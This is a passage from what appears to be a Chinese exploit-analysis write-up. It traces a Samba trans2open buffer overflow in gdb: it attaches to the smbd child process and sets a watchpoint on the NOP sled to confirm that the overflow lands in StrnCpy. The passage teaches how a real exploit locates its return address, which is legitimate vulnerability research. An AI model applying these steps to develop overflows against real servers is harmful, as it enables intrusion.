跟踪程序至StrnCpy函数内:

a.客户端程序使用gdb调入,在向目标服务器发送trans2open数据报处设置中断:
(gdb) b 282
Breakpoint 1 at 0x8048e3a: file trans2root.c, line 282.

b.运行客户端程序:
(gdb) r 127.0.0.1 0xbffff714
Starting program: /home/zzg/hmm/Linux/test 127.0.0.1 0xbffff714
Connect! -> dest host...

Breakpoint 1, trans2_open (sock=5) at trans2root.c:283
283

c.查看目标服务器产生的子进程,使用ps –aux命令获得子进程ID;

d.使用gdb跟踪该子进程:gdb /usr/local/samba/bin/smbd pid

e.设置断点,由于客户端可控,使用客户端向服务端发送的trans2open数据报将包含大量的0x90(NOP) ,

猜测fname的地址空间在0xbffff000至0xbfffff00之间,设置硬中断:
(gdb) watch *(unsigned int *)0xbffff600==0x90909090
Hardware watchpoint 1: *(unsigned int *) 3221222912 == 2425393296
(gdb) c
Continuing.
Hardware watchpoint 1: *(unsigned int *) 3221222912 == 2425393296

f.客户端继续执行;

g.由于猜测的地址范围正确,预先设置的硬中断发生,此时服务进程应该在StrnCpy函数中。
Old value = 0
New value = 1
0x08101036 in StrnCpy () at eval.c:41
41 eval.c: No such file or directory.
in eval.c
(gdb)